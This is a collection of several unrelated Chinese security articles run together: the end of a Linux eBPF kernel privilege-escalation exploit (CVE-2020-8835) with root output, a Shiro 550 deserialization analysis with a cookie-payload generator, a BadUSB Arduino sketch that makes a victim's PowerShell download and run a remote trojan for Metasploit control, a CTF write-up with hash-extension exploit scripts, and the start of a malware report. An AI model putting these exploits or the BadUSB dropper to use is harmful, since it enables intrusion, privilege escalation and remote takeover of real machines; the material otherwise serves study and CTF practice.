kaslr +0xffffffff8116f2d0,
kaslr +0xffffffff8116ed50,//get net key 5
0x0,
0x0,
kaslr +0xffffffff81159b30,
0x0,
kaslr +0xffffffff81159930,
0x0,
kaslr +0xffffffff8116edd0,
kaslr +0xffffffff8116f1c0,
kaslr +0xffffffff8116ed80,
kaslr +0xffffffff8116ed50,//map_push_elem 15
0x0,
0x0,
0x0,
0x0,
kaslr +0xffffffff8116f050,
0x0,
kaslr +0xffffffff8116ee80,
kaslr +0xffffffff8116f870,
0x0,
0x0,
0x0,
kaslr +0xffffffff8116ece0,
kaslr +0xffffffff8116ed10,
kaslr +0xffffffff8116ee50,
};
// overwrite bpf_map_ops
memcpy(expbuf,(void *)fake_map_ops,sizeof(fake_map_ops));
bpf_update_elem(expmapfd,&key,expbuf,0);
//overwrite modeprobe path
ctrlbuf64[0]=0x2;
ctrlbuf64[1]=0x1;
bpf_update_elem(ctrlmapfd,&key,ctrlbuf,0);
writemsg();
expbuf64[0] = 0x706d742f -1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path);
expbuf64[0] = 0x6d68632f -1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+4);
expbuf64[0] = 0x646f -1;
bpf_update_elem(expmapfd,&key,expbuf,modprobe_path+8);
}
int main(int argc,char **argv){
init();
prep();
pwn();
return 0;
}
static void __exit(char *err) {
fprintf(stderr, "error: %sn", err);
exit(-1);
}
static void writemsg(void) {
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
}
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version){
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (uint64_t)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (uint64_t)license,
.log_buf = (uint64_t)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries){
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags){
union bpf_attr attr = {
.map_fd = fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
.flags = flags,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
static int bpf_lookup_elem(int fd,void *key, void *value){
union bpf_attr attr = {
.map_fd = fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
### 运行效果
运行的效果如下，因为我用的是 改`modprobe_path` 的方式，可以像`/tmp/chmod` 写入任意命令，然后运行`/tmp/fake`
，就可以root权限运行`/tmp/chmod`
/home/pwn # ~ $ ls
~ $ cd /
/ $ ls -al flag
-rw------- 1 root 0 11 Apr 26 2019 flag
/ $ cat flag
cat: can't open 'flag': Permission denied
/ $ /exp
ctrlmapfd: 3, expmapfd: 4
pwning...
[-x64dump-] start :
0x0000000000000002 0x0000000000000000
0xffffffff82016340 0xffff88800d8740c0
0x4141414141414141 0x4141414141414141
0x4141414141414141 0x4141414141414141
[-x64dump-] end ...
[-x64dump-] start :
0x0000000000000001 0x0000000000000002
0x0000000000000003 0x0000000000000004
0x0000000000000005 0x0000000000000006
0x0000000000000007 0x0000000000000008
[-x64dump-] end ...
[lx] map_leak : 0xffffffff82016340
[lx] elem_leak : 0xffff88800d874110
[lx] kaslr : 0
[lx] modprobe : 0xffffffff82446d80
/ $ ls /tmp
chmod fake
/ $ cat /tmp/chmod
#!/bin/sh
/bin/chmod 777 /flag
/ $ /tmp/fake
/tmp/fake: line 1: : not found
/ $ ls -al flag
-rwxrwxrwx 1 root 0 11 Apr 26 2019 flag
/ $ cat flag
*CTF{test}
## 小结
总的来说，这个洞就是代码写错了:D , 本来是想着既然有 `jmp32` 看能不能优化一下什么的，然后写了个 bug.
这个洞也没有对应的补丁，linux做了版本回退直接删除了这个commit上新添加的代码。
## reference
<https://www.zerodayinitiative.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification> | 社区文章 |
# Java安全之Shiro 550反序列化漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影，也是Shiro的该漏洞也是用的比较频繁的漏洞。本文对该Shiro550
反序列化漏洞进行一个分析，了解漏洞产生过程以及利用方式。
## 0x01 漏洞原理
Shiro 550 反序列化漏洞存在版本：shiro
<1.2.4，产生原因是因为shiro接受了Cookie里面`rememberMe`的值，然后去进行Base64解密后，再使用aes密钥解密后的数据，进行反序列化。
反过来思考一下，如果我们构造该值为一个cc链序列化后的值进行该密钥aes加密后进行base64加密，那么这时候就会去进行反序列化我们的payload内容，这时候就可以达到一个命令执行的效果。
获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作
## 0x02 漏洞环境搭建
漏洞环境：<https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4>
打开shiro/web目录，对pom.xml进行配置依赖配置一个cc4和jstl组件进来，后面再去说为什么shiro自带了`commons-collections:3.2.1`还要去手工配置一个`commons-collections:4.0`。
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
...
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
### 坑点
Shiro的编译太痛苦了，各种坑，下面来排一下坑。
配置`maven\conf\toolchains.xml`，这里需要指定JDK1.6的路径和版本，编译必须要1.6版本，但不影响在其他版本下运行。
<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>D:\JAVA_JDK\jdk1.6</jdkHome>
</configuration>
</toolchain>
</toolchains>
这些都完成后进行编译。
Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure
这里还是报错了。
后面编译的时候，切换成了maven3.1.1的版本。然后就可以编译成功了。
但是后面又发现部署的时候访问不到，编译肯定又出了问题。
后面把这两个里面的`<scope>`标签给注释掉，然后就可以了。
把pom.xml配置贴一下。
<?xml version="1.0" encoding="UTF-8"?>
<!-- ~ Licensed to the Apache Software Foundation (ASF) under one
~ or more contributor license agreements. See the NOTICE file
~ distributed with this work for additional information
~ regarding copyright ownership. The ASF licenses this file
~ to you under the Apache License, Version 2.0 (the
~ "License"); you may not use this file except in compliance
~ with the License. You may obtain a copy of the License at
~
~ http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing,
~ software distributed under the License is distributed on an
~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
~ KIND, either express or implied. See the License for the
~ specific language governing permissions and limitations
~ under the License.
-->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
<parent>
<groupId>org.apache.shiro.samples</groupId>
<artifactId>shiro-samples</artifactId>
<version>1.2.4</version>
<relativePath>../pom.xml</relativePath>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>samples-web</artifactId>
<name>Apache Shiro :: Samples :: Web</name>
<packaging>war</packaging>
<build>
<plugins>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<forkMode>never</forkMode>
</configuration>
</plugin>
<plugin>
<groupId>org.mortbay.jetty</groupId>
<artifactId>maven-jetty-plugin</artifactId>
<version>${jetty.version}</version>
<configuration>
<contextPath>/</contextPath>
<connectors>
<connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
<port>9080</port>
<maxIdleTime>60000</maxIdleTime>
</connector>
</connectors>
<requestLog implementation="org.mortbay.jetty.NCSARequestLog">
<filename>./target/yyyy_mm_dd.request.log</filename>
<retainDays>90</retainDays>
<append>true</append>
<extended>false</extended>
<logTimeZone>GMT</logTimeZone>
</requestLog>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<!-- <scope>provided</scope>-->
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<!-- <scope>test</scope>-->
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jsp-2.1-jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
</project>
经过2天的排坑，终于把这个坑给解决掉，这里必须贴几张照片庆祝庆祝。
输入账号密码，勾选Remerber me选项。进行抓包
下面就可以来分析该漏洞了。
## 0x03 漏洞分析
### 加密
漏洞产生点在`CookieRememberMeManager`该位置，来看到`rememberSerializedIdentity`方法。
该方法的作用为使用Base64对指定的序列化字节数组进行编码，并将Base64编码的字符串设置为cookie值。
那么我们就去查看一下该方法在什么地方被调用。
在这可以看到该类继承的`AbstractRememberMeManager`类调用了该方法。跟进进去查看
发现这个方法被`rememberIdentity`方法给调用了，同样方式继续跟进。
在这里会发现`rememberIdentity`方法会被`onSuccessfulLogin`方法给调用，跟踪到这一步，就看到了`onSuccessfulLogin`登录成功的方法。
当登录成功后会调用`AbstractRememberMeManager.onSuccessfulLogin`方法，该方法主要实现了生成加密的`RememberMe
Cookie`,然后将`RememberMe
Cookie`设置为用户的Cookie值。在前面我们分析的`rememberSerializedIdentity`方法里面去实现了。可以来看一下这段代码。
回到`onSuccessfulLogin`这个地方，打个断点，然后web登录页面输入root/secret
口令进行提交，再回到IDEA中查看。找到登录成功方法后，我们可以来正向去做个分析，不然刚刚的方式比较麻烦。
这里看到调用了`isRememberMe`很显而易见得发现这个就是一个判断用户是否选择了`Remember Me`选项。
如果选择`Remember Me`功能的话返回true，如果不选择该选项则是调用log.debug方法在控制台输出一段字符。
这里如果为true的话就会调用`rememberIdentity`方法并且传入三个参数。F7跟进该方法。
前面说过该方法会去生成一个`PrincipalCollection`对象，里面包含登录信息。F7进行跟进`rememberIdentity`方法。
查看`convertPrincipalsToBytes`具体的实现与作用。
跟进该方法查看具体实现。
看到这里其实已经很清晰了，进行了一个序列化，然后返回序列化后的Byte数组。
再来看到下一段代码，这里如果`getCipherService`方法不为空的话，就会去执行下一段代码。`getCipherService`方法是获取加密模式。
还是继续跟进查看。
查看调用，会发现在构造方法里面对该值进行定义。
完成这一步后，就来到了这里。
调用`encrypt`方法，对序列化后的数据进行处理。继续跟进。
这里调用`cipherService.encrypt`方法并且传入序列化数据，和`getEncryptionCipherKey`方法。
`getEncryptionCipherKey`从名字上来看是获取密钥的方法，查看一下，是怎么获取密钥的。
查看调用的时候，发现`setCipherKey`方法在构造方法里面被调用了。
查看`DEFAULT_CIPHER_KEY_BYTES`值会发现里面定义了一串密钥
而这个密钥是定义死的。
返回刚刚的加密的地方。
这个地方选择跟进，查看具体实现。
查看到这里发现会传入前面序列化的数组和key值，最后再去调用他的重载方法并且传入序列化数组、key、ivBytes值、generate。
iv的值由`generateInitializationVector`方法生成，进行跟进。
查看`getDefaultSecureRandom`方法实现。
返回`generateInitializationVector`方法继续查看。这个new了一个byte数组长度为16
最后得到这个ivBytes值进行返回。
这里执行完成后就拿到了ivBytes的值了，这里再回到加密方法的地方查看具体加密的实现。
这里调用crypt方法进行获取到加密后的数据，而这个output是一个byte数组，大小是加密后数据的长度加上iv这个值的长度。
#### iv 的小tips
* 某些加密算法要求明文需要按一定长度对齐，叫做块大小(BlockSize)，我们这次就是16字节，那么对于一段任意的数据，加密前需要对最后一个块填充到16 字节，解密后需要删除掉填充的数据。
* AES中有三种填充模式(PKCS7Padding/PKCS5Padding/ZeroPadding)
* PKCS7Padding跟PKCS5Padding的区别就在于数据填充方式，PKCS7Padding是缺几个字节就补几个字节的0，而PKCS5Padding是缺几个字节就补充几个字节的几，好比缺6个字节，就补充6个字节
不了解加密算法的可以看[Java安全之安全加密算法](https://www.cnblogs.com/nice0e3/p/13894507.html)
在执行完成后序列化的数据已经被进行了AES加密，返回一个byte数组。
执行完成后，来到这一步，然后进行跟进。
到了这里其实就没啥好说的了。后面的步骤就是进行base64加密后设置为用户的Cookie的rememberMe字段中。
### 解密
由于我们并不知道哪个方法里面去实现这么一个功能。但是我们前面分析加密的时候，调用了`AbstractRememberMeManager.encrypt`进行加密，该类中也有对应的解密操作。那么在这里就可以来查看该方法具体会在哪里被调用到，就可以追溯到上层去，然后进行下断点。
查看 `getRememberedPrincipals`方法在此处下断点
跟踪
返回`getRememberedPrincipals`方法。
在下面调用了`convertBytesToPrincipals`方法，进行跟踪。
查看`decrypt`方法具体实现。
和前面的加密步骤类似，这里不做详细讲解。
生成iv值，然后传入到他的重载方法里面。
到了这里执行完后，就进行了AES的解密完成。
还是回到这一步。
这里返回了`deserialize`方法的返回值，并且传入AES加密后的数据。
进行跟踪该方法。
继续跟踪。
到了这步，就会对我们传入进来的AES解密后的数据进行调用`readObject`方法进行反序列化操作。
## 0x04 漏洞攻击
### 漏洞探测
现在已经知道了是因为获取rememberMe值，然后进行解密后再进行反序列化操作。
那么在这里如果拿到了密钥就可以伪造加密流程。
网上找的一个加密的脚本
# －*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog ：https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# payload = encode_rememberme('127.0.0.1:12345')
# payload = rememberme('calc.exe')
payload = rememberme('http://u89cy6.dnslog.cn')
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()))
res = "rememberMe={}".format(payload.decode())
fpw.write(res)
获取到值后加密后的payload后可以在burp上面进行手工发送测试一下。
发送完成后，就可以看到DNSLOG平台上面回显了。
当使用URLDNS链的打过去，在DNSLOG平台有回显的时候，就说明这个地方存在反序列化漏洞。
但是要利用的话还得是使用CC链等利用链去进行命令的执行。
### 漏洞利用
前面我们手动给shio配上cc4的组件，而shiro中自带的是cc3.2.1版本的组件，为什么要手工去配置呢？
其实shiro中重写了`ObjectInputStream`类的`resolveClass`函数，`ObjectInputStream`的`resolveClass`方法用的是`Class.forName`类获取当前描述器所指代的类的Class对象。而重写后的`resolveClass`方法，采用的是`ClassUtils.forName`。查看该方法
public static Class forName(String fqcn) throws UnknownClassException {
Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader...");
}
clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader...");
}
clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.";
throw new UnknownClassException(msg);
} else {
return clazz;
}
}
在传参的地方如果传入一个`Transform`数组的参数，会报错。
后者并不支持传入数组类型。
那么在这里可以使用cc2和cc4的利用链去进行命令执行，因为这两个都是基于javassist去实现的，而不是基于`Transform`数组。具体的可以看前面我的分析利用链文章。
除了这两个其实在部署的时候，可以发现组件当中自带了一个CommonsBeanutils的组件，这个组件也是有利用链的。可以使用CommonsBeanutils这条利用链进行命令执行。
那么除了这些方式就没有了嘛？假设没有cc4的组件，就一定执行不了命令了嘛？其实方式还是有的。wh1t3p1g师傅在[文章](https://www.anquanke.com/post/id/192619)中已经给出了解决方案。需要重新去特殊构造一下利用链。
### 参考文章
https://www.anquanke.com/post/id/192619#h2-4
https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils
https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A
## 0x05 结尾
在该漏洞中我觉得只要的难点在于环境搭建上费了不少时间，还有的就是关于shiro中大部分利用链没法使用的解决。 | 社区文章 |
最近接触到利用badsub进行攻击的方法，于是自己研究了一波，先给出一个badusb木马远控案例。
**badusb简介**
badusb是一种类似于U盘，插入后就会自动执行里面的恶意代码进行恶意操作，由于恶意代码是存在badusb存放固件的区域中，所以杀毒软件和U盘格式化都不能防御badusb的攻击
**badusb基本语法和arduino按键代码**
入门badusb参考视频教程：[https://www.bilibili.com/video/av20517610?from=search&seid=10154231350179524417](https://www.bilibili.com/video/av20517610?from=search&seid=10154231350179524417
"https://www.bilibili.com/video/av20517610?from=search&seid=10154231350179524417")
delay(5000);//延时毫秒
Keyboard.begin(); //开始键盘通讯
Keyboard.end(); //结束键盘通讯
Keyboard.press(); //按下键盘按键 如果是非特殊按键如 数字、字母按键用单引号括起来
Keyboard.release(); //释放键盘按键
Keyboard.println(“”); //输入字符串使用双引号括起来
Mouse.begin();//鼠标事件开始
Mouse.click();//鼠标单击
Mouse.end();//鼠标事件结束
Mouse.move();//鼠标移动(x,y)
Mouse.press();//鼠标按下
Mouse.release();//鼠标松开
KEY_LEFT_CTRL
KEY_LEFT_SHIFT
KEY_LEFT_ALT
KEY_LEFT_GUI //win键
KEY_RIGHT_CTRL
KEY_RIGHT_SHIFT
KEY_RIGHT_ALT
KEY_RIGHT_GUI
KEY_UP_ARROW
KEY_DOWN_ARROW
KEY_LEFT_ARROW
KEY_RIGHT_ARROW
KEY_BACKSPACE
KEY_TAB
KEY_RETURN//回车键
KEY_ESC
KEY_INSERT
KEY_DELETE
KEY_PAGE_UP
KEY_PAGE_DOWN
KEY_HOME
KEY_END
KEY_CAPS_LOCK
KEY_F1
KEY_F2
KEY_F3
KEY_F4
KEY_F5
KEY_F6
KEY_F7
KEY_F8
KEY_F9
KEY_F10
KEY_F11
KEY_F12
**远控木马制作方法**
为了让受害用户下载这个木马，所以将木马上传到服务器上面，kali就打开apache服务，放进var/www/html目录里面，首先要打开apache服务，service
apache2 start
写badusb代码
#include<Keyboard.h>
void setup() {
// put your setup code here, to run once:
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(200);
Keyboard.press('r');//r键
delay(300);
Keyboard.release(KEY_LEFT_GUI);//释放win 键
Keyboard.release('r');//释放R键
Keyboard.press(KEY_CAPS_LOCK);//切换大小写，绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.println("cmd ");
delay(200);
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("powershell ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$clnt = new-object System.Net.WebClient; ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$url= 'http://192.168.43.127/shell.exe'; ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$file = ' D:\\server.exe'; ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$clnt.DownloadFile($url,$file); ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("START D:\\server.exe ");
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.end();//结束键盘通讯
}
void loop() {
// put your main code here, to run repeatedly:
}
**msf利用**
可以先开启侦听，当用户下载木马后就能实现远控
开启了侦听后就可以等插入badusb了
**成功实现远控**
可以输入chcp 65001让连接更稳定
成功，然后就可以对该主机为所欲为了,比如我删除了该用户桌面上的一张图片23333 | 社区文章 |
# 题目描述
* 直接查看页面源代码可以看到正确格式的代码
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
* 提示给的是 flag 在 ./flag.txt 中，题目单词打错了
* python 的 flask 框架，三个路由，index 用于获取源码，geneSign 用于生成 md5，De1ta 就是挑战
* 大概思路就是在 /De1ta 中 get param ，cookie action sign 去读取 flag.txt，其中，`param=flag.txt`，`action` 中要含有 `read` 和 `scan`，且 `sign=md5(secert_key + param + action)`
# 哈希拓展攻击
* 这是这道题最多的解法，介绍 : <https://joychou.org/web/hash-length-extension-attack.html>
* `secert_key` 是一个长度为 16 的字符串，在 `/geneSign?param=flag.txt` 中可以获取 `md5(secert_key + 'flag.txt' + 'scan')` 的值，为 `8370bdba94bd5aaf7427b84b3f52d7cb`，而目标则是获取 `md5(secert_key + 'flag.txt' + 'readscan')` 的值
* 使用 hashpump 即可
root@peri0d:~/HashPump# hashpump
Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb
Input Data: scan
Input Key Length: 24
Input Data to Add: read
d7163f39ab78a698b3514fd465e4018a
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
* exp :
import requests
url = 'http://139.180.128.86/De1ta?param=flag.txt'
cookies = {
'sign': 'd7163f39ab78a698b3514fd465e4018a',
'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',
}
res = requests.get(url=url, cookies=cookies)
print(res.text)
# 字符串拼接
* 试着访问了一下 `/geneSign?param=flag.txt` ，给出了一个 md5 `8370bdba94bd5aaf7427b84b3f52d7cb` ，但是只有 `scan` 的功能，想加入 `read` 功能就要另想办法了
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
* 看了一下逻辑，在 getSign 处很有意思，这个字符串拼接的就很有意思了
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
* 不妨假设 `secert_key` 是 `xxx` ，那么在开始访问 `/geneSign?param=flag.txt` 的时候，返回的 md5 就是 `md5('xxx' + 'flag.txt' + 'scan')` ，在 python 里面上述表达式就相当于 `md5(xxxflag.txtscan)` ，这就很有意思了。
* 直接构造访问 `/geneSign?param=flag.txtread` ，拿到的 md5 就是 `md5('xxx' + 'flag.txtread' + 'scan')` ，等价于 `md5('xxxflag.txtreadscan')` ，这就达到了目标。
* 直接访问 `/De1ta?param=flag.txt` 构造 cookie `action=readscan;sign=7cde191de87fe3ddac26e19acae1525e` 即可
# local_file
* 天枢大佬们的做法 : <https://xz.aliyun.com/t/5921#toc-16>
* 放上他们的 exp :
import requests
conn = requests.Session()
url = "http://139.180.128.86"
def geneSign(param):
data = {
"param": param
}
resp = conn.get(url+"/geneSign",params=data).text
print resp
return resp
def challenge(action,param,sign):
cookie={
"action":action,
"sign":sign
}
params={
"param":param
}
resp = conn.get(url+"/De1ta",params=params,cookies=cookie)
return resp.text
filename = "local_file:///app/flag.txt"
a = []
for i in range(1):
sign = geneSign("{}read".format(filename.format(i)))
resp = challenge("readscan",filename.format(i),sign)
if("title" in resp):
a.append(i)
print resp,i
print a
* 请求 `/geneSign?param=local_file:///app/flag.txtread` 获取 md5 值为 `60ff07b83381a35d13caaf2daf583c94` ，即 `md5(secert_key + 'local_file:///app/flag.txtread' + 'scan')`
* 然后再请求 `/De1ta?param=local_file:///app/flag.txt` 构造 cookie `action=readscan;sign=60ff07b83381a35d13caaf2daf583c94`
* 以上就是他们 exp 做的事情，和上一个方法差不多
* 关于 `local_file` :
参考 : <https://bugs.python.org/issue35907>
这里是使用的 urllib.urlopen(param) 去包含的文件，所以可以直接加上文件路径 `flag.txt` 或 `./flag.txt`
去访问，也可以使用类似的 `file:///app/flag.txt` 去访问，但是 `file` 关键字在黑名单里，可以使用 `local_file`
代替
如果使用 urllib2.urlopen(param) 去包含文件就必须加上 `file` ，否则会报 `ValueError: unknown url
type: /path/to/file` 的错误 | 社区文章 |
### 一、样本IOC指标
样本名 | NETA_-T_bitak Siber G_venlik **birli_i Protokol** v5.doc
---|---
Md5 | 21aebece73549b3c4355a6060df410e9
Sha1 | dbab599d65a65976e68764b421320ab5af60236f
样本大小 | 314368 bytes
样本类型 | Composite Document File V2 Document, Little Endian, Os: Windows,
